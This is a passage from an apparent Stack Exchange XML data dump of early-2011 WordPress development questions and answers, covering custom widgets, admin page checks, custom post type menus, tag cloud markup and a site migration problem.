  <row Id="7272" PostTypeId="2" ParentId="7242" CreationDate="2011-01-19T16:49:37.890" Score="1" ViewCount="" Body="&lt;p&gt;have a look at WPML&#xA;wpml.org&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read this it will clarify the differences with the various plugins out there&#xA;&lt;a href=&quot;http://codex.wordpress.org/Translating_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Translating_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-01-19T16:49:37.890" CommentCount="5" />
  <row Id="7274" PostTypeId="2" ParentId="7270" CreationDate="2011-01-19T17:00:46.720" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;post__not_in&lt;/code&gt; only takes arrays - so it should such, even if you are only passing single value. Simply pass &lt;code&gt;array($post-&amp;gt;ID)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-19T17:00:46.720" />
  <row Id="7275" PostTypeId="1" CreationDate="2011-01-19T17:36:19.890" Score="0" ViewCount="356" Body="&lt;p&gt;I have been utilizing custom post types a great deal since they have been released and have used custom post type archives in Worpdress 3.0 by means of extra code and now utilizing the default archive functions in wordpress 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem that I am facing is a simple way of being able to allow the title, meta description and keywords to be modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this great plugin which I have been using called &quot;Light SEO&quot;. It allows you to modify these things for individual posts, pages and custom posts types on an individual basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also allows you to create default settings for pages such a categories, tags, ect...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is that it does not allow you to change the meta title, description and keywords for a custom post type archive page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such I was hoping someone experienced here might be able to either provide the code needed to allow for this to take place or has an alternative solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full plugin file which is all in one file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/Tr1iiLKn&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/Tr1iiLKn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-01-19T17:36:19.890" Title="Custom Post Type Archive Title Page" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;functions&gt;&lt;post-meta&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="7276" PostTypeId="1" AcceptedAnswerId="7302" CreationDate="2011-01-19T17:38:15.890" Score="1" ViewCount="227" Body="&lt;p&gt;I'm trying to add a replica of the default WP text widget, with my own css class parameter, to functions.php so that it appears in the widgets manager and can be added to a sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first attempt is below, but I'm certain there has to be an easier way than how I'm doing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done in a simpler manner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In functions.php, I've got this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$google_search = TEMPLATEPATH . &quot;/google_search.php&quot;;require_once($google_search);&#xA;add_action('widgets_init', create_function('', &quot;register_widget('My_Widget_Search');&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In google_search.php, I've got...&#xA;(Everything works except the textarea field contents aren't being saved)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class My_Widget_Search extends WP_Widget {&#xA;&#xA;    function My_Widget_Search() {&#xA;        $widget_ops = array( 'classname' =&amp;gt; 'widget_search', 'description' =&amp;gt; __( &quot;Google Adsense Search Widget Placeholder&quot; ) );&#xA;        $this-&amp;gt;WP_Widget('adsense_search', __('Adsense Search Widget'), $widget_ops);&#xA;    }&#xA;&#xA;    function widget( $args, $instance ) {&#xA;        extract( $args );&#xA;        $title = apply_filters('widget_title', empty( $instance['title'] ) ? __( '' ) : $instance['title']);&#xA;        $text = apply_filters('widget_text', empty( $instance['text'] ) ? __( '' ) : $instance['text']);&#xA;&#xA;        }&#xA;&#xA;    function update( $new_instance, $old_instance ) {&#xA;        $instance = $old_instance;&#xA;        $instance['title'] = strip_tags($new_instance['title']);&#xA;        $instance['text'] = $new_instance['text'];&#xA;&#xA;        return $instance;&#xA;    }&#xA;&#xA;    function form( $instance ) {&#xA;        //Defaults&#xA;        $instance = wp_parse_args( (array) $instance, array( 'title' =&amp;gt; '') );&#xA;        $title = esc_attr( $instance['title'] );&#xA;        $text = $instance['text'];&#xA;?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e( 'Title:' ); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('title'); ?&amp;gt;&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php echo $title; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;textarea class=&quot;widefat&quot; rows=&quot;16&quot; cols=&quot;20&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('text'); ?&amp;gt;&quot; name=&quot;&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('text'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $text; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-19T18:12:48.720" LastActivityDate="2011-01-19T23:50:09.713" Title="How can I add a custom &quot;Text&quot; widget to Appearance manager from functions.php?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="7277" PostTypeId="1" CreationDate="2011-01-19T17:51:06.057" Score="1" ViewCount="108" Body="&lt;p&gt;WP makes a list of links, and helpfully applies a current_page class, but I'm concerned with the accessibility issues of a link to the page you're on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I'd swap the &lt;code&gt;&amp;lt;a href&lt;/code&gt; etc with a &lt;code&gt;&amp;lt;span&lt;/code&gt;, How would you approach that with WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(apart from manually creating the list of pages!)&lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2011-01-19T19:26:41.247" Title="How do I remove the link element from the current page in a wp_list_pages menu?" Tags="&lt;menus&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="7278" PostTypeId="1" AcceptedAnswerId="7282" CreationDate="2011-01-19T18:37:31.227" Score="1" ViewCount="132" Body="&lt;p&gt;I'm building a plugin and I want to add bits of javascript in the admin head but only for certain admin pages. I don't mean pages as in a WordPress page that you create yourself but rather existing admin section pages like 'Your Profile', 'Users', etc. Is there a wp function specifically for this task? I've been looking and I can only find the boolean function &lt;code&gt;is_admin&lt;/code&gt; and action hooks but not a boolean function that just checks.&lt;/p&gt;&#xA;" OwnerUserId="2123" LastActivityDate="2011-01-27T15:53:16.517" Title="How can you check if you are in a particular page in the WP Admin section? For example how can I check if I am in the Users &gt; Your Profile page?" Tags="&lt;plugin-development&gt;&lt;javascript&gt;&lt;api&gt;&lt;functions&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="7279" PostTypeId="2" ParentId="7242" CreationDate="2011-01-19T18:46:25.243" Score="1" ViewCount="" Body="&lt;p&gt;you can look at transposh &lt;a href=&quot;http://transposh.org&quot; rel=&quot;nofollow&quot;&gt;http://transposh.org&lt;/a&gt;&#xA;supports link translation and language in url part, as well as manual editing and approval of translation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note - I am biased ;)&lt;/p&gt;&#xA;" OwnerUserId="2599" LastActivityDate="2011-01-19T18:46:25.243" />
  <row Id="7280" PostTypeId="2" ParentId="7205" CreationDate="2011-01-19T18:48:24.730" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;    global $post;&#xA;    $offerings = get_post_meta($post-&amp;gt;ID, &quot;evol_offerings_select&quot;, false);&#xA;    $offeringDefinitions = array(&#xA;        'hot'   =&amp;gt;(object)array('name'=&amp;gt;'Hot 90',       'temp'=&amp;gt;'105',      'time'=&amp;gt;'90'),&#xA;        'flow'  =&amp;gt;(object)array('name'=&amp;gt;'Flow 75',      'temp'=&amp;gt;'80',       'time'=&amp;gt;'75'),&#xA;        'warm'  =&amp;gt;(object)array('name'=&amp;gt;'Warm 60',      'temp'=&amp;gt;'90',       'time'=&amp;gt;'60'),&#xA;        'chill' =&amp;gt;(object)array('name'=&amp;gt;'Chill 30',     'temp'=&amp;gt;'75-80',    'time'=&amp;gt;'30'),&#xA;        'kids'  =&amp;gt;(object)array('name'=&amp;gt;'Kids Class',   'temp'=&amp;gt;'comfy',    'time'=&amp;gt;'60')&#xA;    );&#xA;    $offeringsInUse = array();&#xA;    forEach($offerings as $offering) {&#xA;        forEach($offeringDefinitions as $offeringName=&amp;gt;$offeringDefinition) {&#xA;            if ($offering[$offeringName]) $offeringsInUse[$offeringName]=$offeringDefinition;&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&amp;lt;?php if (count($offeringsInUse)&amp;gt;0): ?&amp;gt;&#xA;    &amp;lt;div class=&quot;offerings&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;offerings:&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;?php forEach ($offeringsInUse as $offering): ?&amp;gt;&#xA;            &amp;lt;div class=&quot;single_offering&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&amp;lt;?php echo $offering-&amp;gt;name ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;p class=&quot;class_info&quot;&amp;gt;temp: &amp;lt;?php echo $offering-&amp;gt;temp ?&amp;gt;&amp;amp;deg;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;time: &amp;lt;?php echo $offering-&amp;gt;time ?&amp;gt;min&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endForEach ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endIf ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I've done here is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Preset the defintions of the offering types.  Ideally this would be data driven, but since it's obviously not, this is the best alternative.&lt;/li&gt;&#xA;&lt;li&gt;Check the definitions against the various offerings available per... offering*, and stack that into an array.&lt;/li&gt;&#xA;&lt;li&gt;If that array isn't empty, display the appropriate chunk of HTML, filling in the offering attributes as you iterate over the array.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;*Actually, that's what I've gleaned from your suggested requirements - that a given program has a set of offered activities, and that these activities need to be enumerated... or something.  Maybe you could be more clear.&lt;/p&gt;&#xA;" OwnerUserId="2598" LastActivityDate="2011-01-19T18:48:24.730" />
  <row Id="7281" PostTypeId="2" ParentId="7278" CreationDate="2011-01-19T18:48:59.703" Score="2" ViewCount="" Body="&lt;p&gt;There is a global variable in wp-admin called &lt;strong&gt;$pagenow&lt;/strong&gt; which holds name of the current page, ie edit.php, post.php, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check the $_GET request to narrow your location down further, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $pagenow;&#xA;if (( $pagenow == 'post.php' ) &amp;amp;&amp;amp; ($_GET['post_type'] == 'page')) {&#xA;&#xA;    // editing a page&#xA;&#xA;    }&#xA;&#xA;if ($pagenow == 'users.php') {&#xA;&#xA;    // user listing page&#xA;&#xA;    }&#xA;&#xA;if ($pagenow == 'profile.php') {&#xA;&#xA;    // editing user profile page&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-19T18:48:59.703" />
  <row Id="7282" PostTypeId="2" ParentId="7278" CreationDate="2011-01-19T19:08:39.390" Score="2" ViewCount="" Body="&lt;p&gt;The way to do this is to use the 'admin_enqueue_scripts' hook to en-queue the files you need.  This hook will get passed a $hook_suffix that relates to the current page that is loaded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_admin_enqueue($hook_suffix) {&#xA;    if($hook_suffix == 'appearance_page_theme-options') {&#xA;        wp_enqueue_script('my-theme-settings', get_template_directory_uri() . '/js/theme-settings.js', array('jquery'));&#xA;        wp_enqueue_style('my-theme-settings', get_template_directory_uri() . '/styles/theme-settings.css');&#xA;        ?&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        //&amp;lt;![CDATA[&#xA;        var template_directory = '&amp;lt;?php echo get_template_directory_uri() ?&amp;gt;';&#xA;        //]]&amp;gt;&#xA;        &amp;lt;/script&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;add_action('admin_enqueue_scripts', 'my_admin_enqueue');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2011-01-19T19:08:39.390" CommentCount="1" />
  <row Id="7283" PostTypeId="2" ParentId="7277" CreationDate="2011-01-19T19:10:40.473" Score="2" ViewCount="" Body="&lt;p&gt;Rewriting the entire walker class is a big pain... much more work than is justified for the result. But you can use a bit of javascript to remove the link. If you're including jquery, something like this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jquery(document).ready(function() {&#xA;    jquery('.current_page_item a').removeAttr( 'href' );&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-19T19:10:40.473" />
  <row Id="7284" PostTypeId="2" ParentId="7277" CreationDate="2011-01-19T19:26:41.247" Score="1" ViewCount="" Body="&lt;p&gt;Just recently I published a plugin, that does exactly this: &lt;a href=&quot;http://wordpress.org/extend/plugins/remove-redundant-links/&quot; rel=&quot;nofollow&quot;&gt;Remove Redundant Links&lt;/a&gt;. You may costumize the output per filter, examples are in the readme.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-01-19T19:26:41.247" />
  <row Id="7285" PostTypeId="1" AcceptedAnswerId="7286" CreationDate="2011-01-19T20:00:34.943" Score="0" ViewCount="93" Body="&lt;p&gt;I need to modify the markup of the tag cloud widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to go about doing this without modifying any of the files outside of the theme directory so my changes don't get overwritten when updating WordPress?&lt;/p&gt;&#xA;" OwnerUserId="1462" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-01-24T17:09:17.427" LastActivityDate="2011-01-24T17:09:17.427" Title="Modifying the markup in the Tag Cloud widget?" Tags="&lt;themes&gt;&lt;widgets&gt;&lt;markup&gt;" AnswerCount="2" />
  <row Id="7286" PostTypeId="2" ParentId="7285" CreationDate="2011-01-19T20:24:08.963" Score="1" ViewCount="" Body="&lt;p&gt;What sort of custom markup do you need? Can you elaborate a little more?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-19T20:24:08.963" CommentCount="6" />
  <row Id="7287" PostTypeId="2" ParentId="7285" CreationDate="2011-01-19T20:32:23.153" Score="1" ViewCount="" Body="&lt;p&gt;If you're looking to change the way the tag cloud is displayed, you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_tags&quot; rel=&quot;nofollow&quot;&gt;get_tags()&lt;/a&gt; to heavily alter the output and create a custom widget.&lt;/p&gt;&#xA;" OwnerUserId="2601" LastActivityDate="2011-01-19T20:32:23.153" />
  <row Id="7288" PostTypeId="2" ParentId="7242" CreationDate="2011-01-19T20:37:22.107" Score="1" ViewCount="" Body="&lt;p&gt;how about qtranslate ? &lt;a href=&quot;http://www.qianqin.de/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;http://www.qianqin.de/qtranslate/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-01-19T20:37:22.107" />
  <row Id="7289" PostTypeId="2" ParentId="6908" CreationDate="2011-01-19T20:53:39.287" Score="0" ViewCount="" Body="&lt;p&gt;I did a slight hack for this to work. I added a hidden field named &quot;post_title&quot; as if I'm enabling Title support, though without actually having the ugly title bar positioned.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;titlewrap&quot;&amp;gt; &#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;post_title&quot; size=&quot;30&quot; tabindex=&quot;1&quot; value=&quot;&quot; id=&quot;title&quot; autocomplete=&quot;off&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    ( function ($) {&#xA;        $( '#v_l_name' ).blur( function () {&#xA;            $( '#title' ).attr( 'value', $( '#v_f_name' ).val() + ' ' + $( '#v_l_name' ).val() );&#xA;        });&#xA;    })(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All-in-all, It works. The title field is populated properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Mike though! ;)&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-01-19T20:53:39.287" />
  <row Id="7290" PostTypeId="1" CreationDate="2011-01-19T21:06:13.200" Score="0" ViewCount="763" Body="&lt;p&gt;I've been researching this all day and haven't come up with much results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to restrict who can see my Custom Post Types by User Level (or some other way). So if the person logged in is not an 'administrator' the added Custom Post Types are not visible to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is part of a Custom Post Type that I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'portfolio_register');&#xA;&#xA;function portfolio_register() {&#xA;&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Case Studies', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Case Study Item', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add New', 'portfolio item'),&#xA;        'add_new_item' =&amp;gt; __('Add New Case Study Item'),&#xA;        'edit_item' =&amp;gt; __('Edit Case Study Item'),&#xA;        'new_item' =&amp;gt; __('New Case Study Item'),&#xA;        'view_item' =&amp;gt; __('View Case Study Item'),&#xA;        'search_items' =&amp;gt; __('Search Case Studies'),&#xA;        'not_found' =&amp;gt;  __('Nothing found'),&#xA;        'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        /*'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/article16.png',*/&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'supports' =&amp;gt; array('title','editor','thumbnail')&#xA;      ); &#xA;&#xA;    register_post_type( 'portfolio' , $args );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here are the potential solutions that I found that don't work for the Custom Post Type menu removal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_menus()&#xA;{&#xA;    global $menu;&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;&#xA;    if($current_user-&amp;gt;user_login != 'admin')&#xA;    {&#xA;        $restricted = array(__('Posts'),&#xA;                            __('Media'),&#xA;                            __('Links'),&#xA;                            __('Pages'),&#xA;                            __('Comments'),&#xA;                            __('Appearance'),&#xA;                            __('Plugins'),&#xA;                            __('Users'),&#xA;                            __('Tools'),&#xA;                            __('Settings')&#xA;        );&#xA;        end ($menu);&#xA;        while (prev($menu)){&#xA;            $value = explode(' ',$menu[key($menu)][0]);&#xA;            if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted)){unset($menu[key($menu)]);}&#xA;        }// end while&#xA;&#xA;    }// end if&#xA;}&#xA;add_action('admin_menu', 'remove_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above works to remove the default menu items but I couldn't get it to remove a Custom Post Type menu. Plus it is username specific, which is ok if I could add more than one user to it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $user_login;&#xA;get_currentuserinfo();&#xA;   if (!current_user_can('update_plugins')) {&#xA;      .......&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above didn't work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2011-01-20T13:27:19.250" Title="Remove Custom Post Type menu for none administrator users" Tags="&lt;custom-post-types&gt;&lt;admin-menu&gt;&lt;user-access&gt;" AnswerCount="3" />
  <row Id="7291" PostTypeId="1" AcceptedAnswerId="8098" CreationDate="2011-01-19T21:17:04.867" Score="3" ViewCount="865" Body="&lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3316/how-to-show-a-custom-meta-box-on-the-quick-edit-screen&quot;&gt;How to show custom meta box on &quot;Quick Edit&quot; screen?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello once again,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same project... I'm now trying to edit the quick edit screen on my custom post type &quot;visitor&quot; so that I can add some options for my end-users. My custom post type doesn't require/need a post date, password to view, publish status, or large taxonomy boxes for custom categories of visitors on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already added a custom meta box for the actual edit page, but &lt;strong&gt;would like to enable quick-edit support of those post meta fields while disabling the current quick-edit options.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Zack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found a &lt;a href=&quot;http://wordpress.org/support/topic/retrieving-current-post-data-in-custom-quick-edit-field&quot; rel=&quot;nofollow&quot;&gt;post&lt;/a&gt; (linked in my possible duplicate) over on wordpress.org's forums, but not sure exactly what it does.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-28T06:58:51.200" LastActivityDate="2011-02-08T16:59:55.823" Title="Quick edit screen customization" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;quick-edit&gt;" AnswerCount="1" FavoriteCount="4" />
  <row Id="7292" PostTypeId="1" CreationDate="2011-01-19T21:25:47.413" Score="1" ViewCount="97" Body="&lt;p&gt;We developed the wordpress site here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wwww.kirschfamilycomputerservices.com/sam/wheresthefairness&lt;/p&gt;&#xA;&#xA;&lt;p&gt;^^ URL does not exist now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the website was done, we transferred the database &amp;amp; theme over to a new host. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is odd and really critical. We have to present the website to the client tonight, and none of our URLs are working properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the index to the new host is this: &lt;a href=&quot;http://www.advertisingagency.me/wheresthefairness/&quot; rel=&quot;nofollow&quot;&gt;http://www.advertisingagency.me/wheresthefairness/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The links just under the header to the right are called in a list in the header PHP file and look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;wtfloginfb&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;if ( is_user_logged_in() ) {&#xA;    echo 'Welcome Back!';&#xA;} else {&#xA;    echo 'Hello! New to WTF?!';&#xA;};&#xA;?&amp;gt;&#xA; &amp;lt;?php wp_register( ' '  , ' ' , ' ' ); ?&amp;gt;/&#xA;&amp;lt;?php wp_loginout( home_url()  ); ?&amp;gt; |&#xA;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/new-case&quot;&amp;gt;State Your Case&amp;lt;/a&amp;gt;| &#xA;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/cases&quot;&amp;gt;View Cases&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only file outside of the theme directory that I edited while designing the site was the general-template.php file, in which I changed the Site Admin link to display as &quot;Dashboard&quot; and made it point to root/dashboard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the problem is this.. When you go to the website and hover over a link, it shows the correct path to the file in question, however, when trying to navigate to ANY page directly, we are always given this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Not Found&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The requested URL&#xA;  /sam/wheresthefairness/index.php was&#xA;  not found on this server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So what do you guys think the problem could be? Could it be somewhere in the WP files themselves? Or does this sound like a database error? I've honestly never encountered something like this. I've never pointed my browser to a very specific path, and had it tell me that it couldn't load the page, because it tried to go to a different path...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1/19/11-4:36pm Edit to add:&lt;/strong&gt;&#xA;We get this error whenever we try to direct link to a post or a page. So essentially, the only pages we can actually view on the new host is the index page, and wp-admin. &lt;/p&gt;&#xA;" OwnerUserId="2479" LastEditorUserId="2479" LastEditorDisplayName="" LastEditDate="2011-01-19T21:35:34.470" LastActivityDate="2011-08-20T06:32:32.513" Title="Critical error in final stage of website launch - URLs are BROKEN!" Tags="&lt;database&gt;&lt;urls&gt;&lt;404-error&gt;" AnswerCount="1" CommentCount="8" />
  <row Id="7293" PostTypeId="2" ParentId="7266" CreationDate="2011-01-19T21:26:16.070" Score="1" ViewCount="" Body="&lt;p&gt;taxonomy slug, or the taxonomy terms slug?&#xA;I assume you mean the last:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;box-item cocktails-box &#xA;&amp;lt;?php foreach(get_the_terms($wp_query-&amp;gt;post-&amp;gt;ID, 'cocktail_type') as $term)&#xA;         echo $term-&amp;gt;slug; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-19T21:26:16.070" CommentCount="2" />
  <row Id="7294" PostTypeId="2" ParentId="7266" CreationDate="2011-01-19T22:02:38.490" Score="1" ViewCount="" Body="&lt;p&gt;@Ambitious Amoeba's answer works. But have you looked into the &lt;code&gt;post_class&lt;/code&gt; function? It'd do what you want, and save you a lot of trouble. Just use this as your div opener:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div &amp;lt;?php post_class('box-item cocktails-box'); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where you pass the classes you want applied to all posts as a list or array, and let WordPress handle the rest (it'll add classes for all taxonomies that the post is in, and you can &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_class#Add_Classes_By_Filters&quot; rel=&quot;nofollow&quot;&gt;filter it&lt;/a&gt; to add additional class depending on the view, if you want).&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-19T22:02:38.490" CommentCount="2" />
  <row Id="7295" PostTypeId="1" AcceptedAnswerId="7297" CreationDate="2011-01-19T22:04:32.357" Score="0" ViewCount="26" Body="&lt;p&gt;The function below is typically used when inside a loop of categories in order to return each category's description. I'm trying to use it to return the individual category's description when viewing a category landing page (mysite/category/somecategory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I pass the equivalent object that represents the category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On header.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_archive()) {&#xA;//get the category description&#xA;echo get_cat_desc(get_query_var( 'category' ))&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_cat_desc($category){&#xA;  $the_description = strip_tags($category-&amp;gt;description);&#xA;  if(strlen($the_description) &amp;gt; 200 ) &#xA;return  SUBSTR( $the_description,0,STRPOS( $the_description,&quot;.&quot;,200)+1);&#xA;else return  $the_description;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the function where I'm successfully passing in the category object to the function above...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function 